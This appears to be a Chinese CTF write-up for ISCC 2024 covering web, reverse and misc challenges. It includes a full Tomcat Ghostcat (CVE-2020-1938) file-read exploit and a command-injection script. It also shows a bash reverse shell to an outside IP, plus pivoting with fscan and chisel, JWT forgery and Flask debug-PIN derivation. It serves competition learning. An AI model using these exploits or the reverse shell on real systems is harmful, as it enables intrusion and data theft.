web

还没想好名字的塔防游戏

标题: fig:

打到第三波有弹窗

标题: fig:

全局搜索这个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms 找到剩下的所有提示

标题: fig:

根据题目说的xxx共有18位 把Mystic Defense War: The Secret of Guardian Towers and Magical Monsters的首大写字母和三个提示恭喜,您已消灭第3波怪物,这是第一条提示:Bears Brew Storms、恭喜,您已消灭第10波怪物,这是第二条提示:Opal Oceans Glow和恭喜,您已消灭第100000波怪物,这是第三条提示:Elves Whisper Wonders的首大写字母拼接起来就得flag ISCC{MDWTSGTMMBBSOOGEWW}

原神启动

根据报错信息,得知是一个8.5.32的tomcat,这个版本存在一个CVE-2020-1938

image-20240601221053080

网上有脚本,可以直接梭哈,读flag

image-20240601221112580

POC

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1: # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1) # \0
    return res
class NotFoundException(Exception):
    pass
class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction
    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res
    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)

            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break
class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
        "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
        "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
        "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
    ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction
    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)

            res += pack_string(self.request_headers[h_name])
        return res

    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res
    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res
    def parse(self, raw_packet):
        stream = StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1) # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value
    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res

        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res

class AjpResponse(object):
    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
            ]
    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000: # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1) # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr

class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jsp',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

掉进阿帕奇的工资

先注册

img

通过信息重置即可绕过成为管理员

img

img

在工资的年终奖分配计算那里存在命令执行

img

写一个脚本进行反弹shell的操作

import requests
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import os

def xor_encrypt(plaintext, key):
    key_ord = ord(key)

    ciphertext = ""
    for char in plaintext:
        char_ord = ord(char)
        xor_result = char_ord ^ key_ord

        xor_result_char = chr(xor_result)

        ciphertext += xor_result_char

    return ciphertext

def print_ones(plaintext_length):
    return "1" * plaintext_length

def main():
    plaintext = os.sys.argv[1]
    key = "1"  # 00110001 是字符 '1' 的ASCII码

    ciphertext = xor_encrypt(plaintext, key)
    ones = print_ones(len(plaintext))
    result = req(ciphertext, ones)
    lines = result.split("\n")[1:]
    print("cmd: " + plaintext)
    index = lines[0].find(plaintext)
    lines[0] = lines[0][index + len(plaintext) :]
    result = "\n".join(lines)
    print(result)

def req(basicSalary, performanceCoefficient):
    url = "http://101.200.138.180:60000/gongzi_iscc.php"

    payload = urlencode(
        {
            "basicSalary": basicSalary,
            "performanceCoefficient": performanceCoefficient,
            "calculate": "",
        }
    )
    cookies = {"PHPSESSID": "ko3ccuvbc3hla124vm57ge3b6u"}
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    req = requests.request("POST", url, data=payload, cookies=cookies, headers=headers)
    html = req.text
    soup = BeautifulSoup(html, "html.parser")
    result = soup.find("div", class_="result-box").text
    return result

if __name__ == "__main__":
    main()

image-20240601222012189

命令: python main.py “bash -c ‘bash -i >& /dev/tcp/47.94.237.26/8899 0>&1’”

img

得到的shell很多命令都没有,需要上传busybox进行操作

img

且daemon用户只有allPeple目录的权限

img

利用cat进行传输busybox

img

结合题目以及使用arp命令发现一个新的机器:secret.host.iscc2024_default (172.19.0.3)

img

用同样的方法上传fscan,扫出一个80端口

img

因为靶机上工具有限,所以利用chisel搭个隧道出来,然后使用dirsearch扫目录

img

扫出一个flag目录

img

代码审计

进行代码审计,得到:是一个flask服务,有两个接口:/geneSign和/De1ta

/geneSign接收一个param参数,并设置action=“scan”,然后使用key与这两个参数拼接在一起计算md5,作为签名返回。

在Exec()方法中首先使用action、param重新计算签名,与sign值对比,从而验证签名。然后判断action参数中是否有字符串”scan”,若有则将param作为文件名读取文件内容,并将读取的内容写入“已存在的文件”中。接着判断action中是否有字符串”read”,若有则从“已存在的文件”中读取内容,并且作为返回数据。

因此目的就是要使action参数中既有scan又有read,而param设置为flag.txt就可以。这样可以让flag先写入”已存在的文件”,然后再”已存在的文件”中读取出来。但geneSign()中设置了action=“scan”,并且后面计算了签名。

这里的漏洞出现在签名时将各个字符串拼接在一起再计算md5,所以重新计算签名时,字符串的内容未必要和之前的一样,只要它们拼接起来一样就可以了。

所以可以在生成密钥时,设置param=“flag.txtread”,这时action=“scan”,拼接起来是”flag.txtreadscan”。

在验证密钥时,设置param=“flag.txt”,action=“readscan”,这时拼接起来仍然是”flag.txtreadscan”,验证通过,满足读取flag.txt的条件。

生成密钥:

img

验证签名,读取flag

img

Flask中的pin值计算

username

F12看到一串字符,解密后得到一个新的目录

让他不要重复即可获得username: pincalculate

20240507195037242

在问他给出appname和app.py绝对路径的时候得到的都是一样的,应该是监测到app关键字就返回了 一个新的目录/crawler

20240507195252206

modname和appname

问海螺也没给,所以直接默认

app.py绝对路径

访问新的目录,要一秒内计算四位数的加减乘除,可以利用脚本完成

20240507195617996

# http://101.200.138.180:10006/get_expression
# http://101.200.138.180:10006/crawler?answer=

import requests

# 获取表达式
response = requests.get("http://101.200.138.180:10006/get_expression")
expression = response.json()['expression']

# 替换除法和乘法运算符
expression = expression.replace('÷', '/').replace('×', '*')

# 计算表达式的结果
result = eval(expression)

# 将结果发送到指定的URL
response = requests.get(f"http://101.200.138.180:10006/crawler?answer={result}")
print(response.text)

20240507195805698

得到了app.py的绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py uuidnode mac的信息:uuidnode_mac位于/woddenfish

uuidnode mac

在点击抓包的时候发现有一个flask session

20240507201134855

然后利用hackbar重新构造session即可,密钥在网站源码中可以得到:ISCC_muyu_2024

20240506230754553

得到mac地址为:02:42:ac:18:00:02->0266172240002 以及machine_id的线索:/machine_id

machine_id

点击中间的VIP会员奖品返回了一个jwt_token 这里是有一个CVE-2022-39227的CVE可利用

20240512193724551

脚本:https://github.com/user0x1337/CVE-2022-39227 注入role=vip 得到的新的token要经过url编码,不然会报400错误

20240512201603742

得到了flask session的key 然后用脚本伪造session即可得到machine_id 脚本:https://github.com/noraj/flask-session-cookie-manager

20240512201541118

计算pin

网上可以找到脚本Flask调试模式PIN值计算和利用

import hashlib

from itertools import chain

probably_public_bits = [

    'pincalculate'  # username 可通过/etc/passwd获取

    'flask.app',  # modname默认值

    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))

    '/usr/local/lib/python3.11/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)

]

private_bits = [

    '2485378351106',  # mac地址十进制,使用print(int("02:42:ac:18:00:02".replace(":",""),16)),即可转换成10进制

    '39c61de4-9c0a-4738-b95d-ef3f488d7222'

]

# 下面为源码里面抄的,不需要修改

h = hashlib.sha1()

for bit in chain(probably_public_bits, private_bits):

    if not bit:

        continue

    if isinstance(bit, str):

        bit = bit.encode('utf-8')

    h.update(bit)

h.update(b'cookiesalt')

  

cookie_name = '__wzd' + h.hexdigest()[:20]

  

num = None

if num is None:

    h.update(b'pinsalt')

    num = ('%09d' % int(h.hexdigest(), 16))[:9]

  

rv = None

if rv is None:

    for group_size in 5, 4, 3:

        if len(num) % group_size == 0:

            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

                          for x in range(0, len(num), group_size))

            break

    else:

        rv = num

  

print(rv)

flag

访问http://101.200.138.180:10006/console然后输入pin值即可获得flag

Reverse

迷失之门

一个简单的字符替换,利用ida字符然后分析伪代码即可

image-20240601221624139

exp

str1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'abcdefghijklmnopqrstuvwxyz'
str3 = '0123456789+/-=!#&*()?;:*^%'
str4 = 'DABBZXQESVFRWNGTHYJUMKIOLPC'
result = 'FSBBhKZuUgLKVjJVSCFTUrctpG6'

input_str = ''
for j in range(len(result)):
    for i in range(33, 129):
        if i != 127 and i > 32:
            v22 = i - ord(str4[j])
            if v22>0:
                if v22 > 25:
                    if v22 > 51:
                        v1 = str3[v22 - 52]
                    else:
                        v1 = str2[v22 - 26]
                    if v1 == result[j]:
                        input_str += chr(i)
                else:
                    v2 = str1[v22]
                    if v2 == result[j]:
                        input_str += chr(i)
print(input_str)

Misc

精装四合一

用010打开四张图片,每张图片的最后都有附加的数据

img

提取附加数据,并把附加数据都进行异或0xff

img

img

剩下的三张图片也是如此操作

然后即可发现每段数据的开头分别为50、4B、03、04,这就是zip压缩包的文件头。

所以利用脚本循环读取这四个文件的字节数据,并存为一个新的文件

# 打开四个文件
file_paths = ["left_foot_invert.png", "left_hand_invert.png", "right_foot_invert.png", "right_hand_invert.png"]
files = [open(path, "rb") for path in file_paths]

# 创建一个新文件用于写入
output_file = open("output.zip", "wb")

try:
    while True:
        for file in files:
            byte = file.read(1)  # 从每个文件中读取一个字节
            if byte:
                output_file.write(byte)  # 将字节写入新文件
            else:
                break  # 如果文件结束,则停止读取该文件
        else:
            continue  # 如果所有文件都还没结束,则继续循环
        break  # 如果有文件结束了,则退出循环
finally:
    # 关闭所有文件
    for file in files:
        file.close()
output_file.close()

得到一个压缩包,发现是加密了

img

用010打开看了,不是伪加密,那就直接爆破,得到密码:65537

img

把得到的word文档解压后在document.xml里面发现一串字符串,经过yafu分解得到了p和q

img

在media里面看到一张无法正常打开的图片,查看16进制文本,结合文件名猜测这就是密文

img

写一个脚本进行解密

img

import gmpy2
# import 

with open('true_flag.jpeg','rb') as f:
    enc = int.from_bytes(f.read(),'big')

e = 65537
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

dec = pow(enc,d,n)
flag = int(dec).to_bytes(32,'big')

print(flag)

RSA_KU

解方程组,解出(p-1)和(q-1)即可,代码中分别以a和b作为代替

from sympy import symbols, solve
import gmpy2
from Crypto.Util.number import *

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 104272570188425816457550830426972655347800820644283360435261275919128895675122726204907979154858245194128555722510677792210638866179920747302589321193622617409463246735661050043076112493584695377171633331916803789706141304131866457367323925012895712310019862372095302292831205579224765261224857162558289307156
a = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
b = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

# 定义变量
x, y = symbols('x y')

# 定义方程组
eq1 = n-x-2*y-1-a
eq2 = n-2*x-y-1-b

# 求解方程组
solution = solve((eq1, eq2), (x, y))

# 打印解
print("x =", solution[x])
print("y =", solution[y])

phi = int(solution[x]*solution[y])

print(phi)

d = gmpy2.invert(e,phi)

m = pow(c, d, n)

print(long_to_bytes(m))

Number_is_the_key

把文件解压后,在xl/worksheets/sheet1.xml文件里存在大量的单元格数据,但是只有单元格的位置,并没有内容

那就自行赋值,把单元格显示出来,把所有的 /><c字符替换成><v>1</v></c><c,即往单元格内填充数字1

再变回xlsx文件,可以看到若隐若现的二维码图像

image-20240601222532873

把列宽变成2,然后添加条件格式,单元格的值等于1的时候,填充黑色,即可得到一张清晰的二维码,扫码后即可得到flag

image-20240601222543342

flag:flag{NLomDaRRoBUJ}

Funzip

Base64隐写,脚本跑一下即可

image-20240601222632003

import base64

b64charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('f380d850e6ebdb19b7d0743.txt', 'r') as f:
    hind_bin = ''
    for line in f.readlines():
        now_str = line.strip()
        if len(now_str)%4 != 0:
            now_str += "="*(4-len(now_str)%4) 

        row_str = base64.b64encode(base64.b64decode(now_str)).decode()
        offset = abs(b64charset.index(now_str.replace('=','')[-1]) - b64charset.index(row_str.replace('=','')[-1]))

        equalnum = row_str.count('=')
        if equalnum:
            hind_bin += bin(offset)[2:].zfill(equalnum*2)
        print(hind_bin)

    hind_str = ''.join([chr(int(hind_bin[i:i + 8], 2)) for i in range(0, len(hind_bin), 8)])

print(hind_str)